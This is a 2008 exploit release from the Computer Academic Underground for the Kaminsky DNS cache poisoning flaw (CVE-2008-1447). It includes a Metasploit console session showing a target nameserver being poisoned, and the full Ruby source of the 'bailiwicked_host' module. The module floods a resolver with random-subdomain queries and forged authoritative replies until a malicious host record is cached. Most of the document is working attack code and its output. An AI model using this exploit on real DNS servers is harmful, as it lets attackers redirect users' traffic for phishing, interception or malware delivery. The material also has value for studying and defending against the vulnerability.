____      ____     __    __
                     /    \    /    \   |  |  |  |
        ----====####/  /\__\##/  /\  \##|  |##|  |####====----
                   |  |      |  |__|  | |  |  |  |
                   |  |  ___ |   __   | |  |  |  |
  ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
                     \____/  |__|  |__|  \______/
                                                     
                    Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0002
Release Date:   2008.07.23
Title:          bailiwicked_host.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email:   I)ruid <druid (@) caughq.org>
                H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious host entry
into the target nameserver.  By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.


Example
=======

# /msf3/msfconsole

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
       =[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

   Name      Current Setting    Required  Description
   ----      ---------------    --------  -----------
   HOSTNAME  pwned.example.com  yes       Hostname to hijack
   NEWADDR   1.3.3.7            yes       New address for hostname
   RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
   RHOST                        yes       The target address
   SRCPORT                      yes       The target server's source query port (0 for automatic)
   XIDS      10                 yes       Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got answer with 2 answers, 0 authorities
[*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
[*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
[*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) > 

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server:         A.B.C.D
Address:        A.B.C.D#53

Non-authoritative answer:
Name:   pwned.example.com
Address: 1.3.3.7


Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.


References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113


Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

  include Exploit::Remote::Ip

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'DNS BailiWicked Host Attack',
      'Description'    => %q{
        This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
        Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
        malicious host entry into the target nameserver by sending random sub-domain
        queries to the target DNS server coupled with spoofed replies to those
        queries from the authoritative nameservers for the domain which contain a
        malicious host entry for the hostname to be poisoned in the authority and
        additional records sections.  Eventually, a guessed ID will match and the
        spoofed packet will get accepted, and due to the additional hostname entry
        being within bailiwick constraints of the original request the malicious host
        entry will get cached.
      },
      'Author'         => [ 'I)ruid', 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 5585 $',
      'References'     =>
        [
          [ 'CVE', '2008-1447' ],
          [ 'US-CERT-VU', '8000113' ],
          [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
        ],
      'Privileged'     => true,
      'Targets'        => 
        [
          ["BIND",  
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
            },
          ],
        ],
      'DisclosureDate' => 'Jul 21 2008'
      ))
      
      register_options(
        [
          OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
          OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
          OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
          OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
          OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
          OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
        ], self.class)
          
  end
  
  def auxiliary_commands
    return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
  end

  def cmd_check(*args)
    targ = args[0] || rhost()
    if(not (targ and targ.length > 0))
      print_status("usage: check [dns-server]")
      return
    end

    print_status("Using the Metasploit service to verify exploitability...")
    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => targ,
      'PeerPort' => 53
    )    

    random = false
    ports  = []
    lport  = nil
    
    1.upto(5) do |i|
    
      req = Resolv::DNS::Message.new
      txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1
      
      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom()
      

      if res and res.length > 0
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
            t_addr, t_port = $1.split(':')

            print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
            t_port = t_port.to_i
            if(lport and lport != t_port)
              random = true
            end
            lport  = t_port
            ports << t_port
          end
        end
      end  
    end
    
    srv_sock.close
    
    if(ports.length < 5)
      print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
      return
    end
    
    if(random)
      print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
      print_status("      This server may still be exploitable, but not by this tool.")
    else
      print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
    end
  end
    
  def run
    target   = rhost()
    source   = Rex::Socket.source_address(target)
    sport    = datastore['SRCPORT']
    hostname = datastore['HOSTNAME'] + '.'
    address  = datastore['NEWADDR']
    recons   = datastore['RECONS']
    xids     = datastore['XIDS'].to_i
    ttl      = datastore['TTL'].to_i
    xidbase  = rand(4)+2*10000

    domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => target,
      'PeerPort' => 53
    )

    # Get the source port via the metasploit service if it's not set
    if sport.to_i == 0
      req = Resolv::DNS::Message.new
      txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1
      
      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom()
      
      if res and res.length > 0
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
            t_addr, t_port = $1.split(':')
            sport = t_port.to_i

            print_status("Switching to target port #{sport} based on Metasploit service")
            if target != t_addr
              print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
            end
          end
        end
      end
    end

    # Verify its not already cached
    begin
      query = Resolv::DNS::Message.new
      query.add_question(hostname, Resolv::DNS::Resource::IN::A)
      query.rd = 0

      begin
        cached = false
        srv_sock.put(query.encode)
        answer, addr = srv_sock.recvfrom()

        if answer and answer.length > 0
          answer = Resolv::DNS::Message.decode(answer)
          answer.each_answer do |name, ttl, data|
            if((name.to_s + ".") == hostname  and data.address.to_s == address)
              t = Time.now + ttl
              print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
              print_status("         Cache entry expires on #{t.to_s}... sleeping.")
              cached = true
              sleep ttl
            end
          end
        end
      end until not cached
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
    end

    res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

    print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

    # Look up the nameservers for the domain
    print_status "Querying recon nameserver for #{domain}'s nameservers..."
    answer0 = res0.send(domain, Net::DNS::NS)
    #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

    barbs = [] # storage for nameservers
    answer0.answer.each do |rr0|
      print_status " Got an #{rr0.type} record: #{rr0.inspect}"
      if rr0.type == 'NS'
        print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
        answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
        #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
        answer1.answer.each do |rr1|
          print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
          res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
          print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
          answer2 = res2.send(domain)
          if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
            nsrec = {:name => rr0.nsdname, :addr => rr1.address}
            barbs << nsrec
            print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
          end
        end
      end  
    end

    if barbs.length == 0
      print_status( "No DNS servers found.")
      srv_sock.close
      disconnect_ip
      return
    end

    # Flood the target with queries and spoofed responses, one will eventually hit
    queries = 0
    responses = 0

    connect_ip if not ip_sock

    print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")

    while true
      randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

      # Send spoofed query
      req = Resolv::DNS::Message.new
      req.id = rand(2**16)
      req.add_question(randhost, Resolv::DNS::Resource::IN::A)

      req.rd = 1

      buff = (
        Scruby::IP.new(
          #:src   => barbs[0][:addr].to_s,
          :src   => source,
          :dst   => target,
          :proto => 17
        )/Scruby::UDP.new(
          :sport => (rand((2**16)-1024)+1024).to_i,
          :dport => 53
        )/req.encode
      ).to_net
      ip_sock.sendto(buff, target)
      queries += 1
      
      # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
      req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
      req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
      req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
      req.qr = 1
      req.ra = 1

      xidbase.upto(xidbase+xids-1) do |id|
        req.id = id
        barbs.each do |barb|
          buff = (
            Scruby::IP.new(
              #:src   => barbs[i][:addr].to_s,
              :src   => barb[:addr].to_s,
              :dst   => target,
              :proto => 17
            )/Scruby::UDP.new(
              :sport => 53,
              :dport => sport.to_i
            )/req.encode
          ).to_net
          ip_sock.sendto(buff, target)
          responses += 1
        end
      end

      # status update
      if queries % 1000 == 0
        print_status("Sent #{queries} queries and #{responses} spoofed responses...")
      end

      # every so often, check and see if the target is poisoned...
      if queries % 250 == 0 
        begin
          query = Resolv::DNS::Message.new
          query.add_question(hostname, Resolv::DNS::Resource::IN::A)
          query.rd = 0
  
          srv_sock.put(query.encode)
          answer, addr = srv_sock.recvfrom()

          if answer and answer.length > 0
            answer = Resolv::DNS::Message.decode(answer)
            answer.each_answer do |name, ttl, data|
              if((name.to_s + ".") == hostname and data.address.to_s == address)
                print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
                disconnect_ip
                return
              end
            end
          end
        rescue ::Interrupt
          raise $!
        rescue ::Exception => e
          print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
        end
      end

    end

  end

end
end


-- 
I)ruid, C²ISSP
druid@caughq.org
http://druid.caughq.org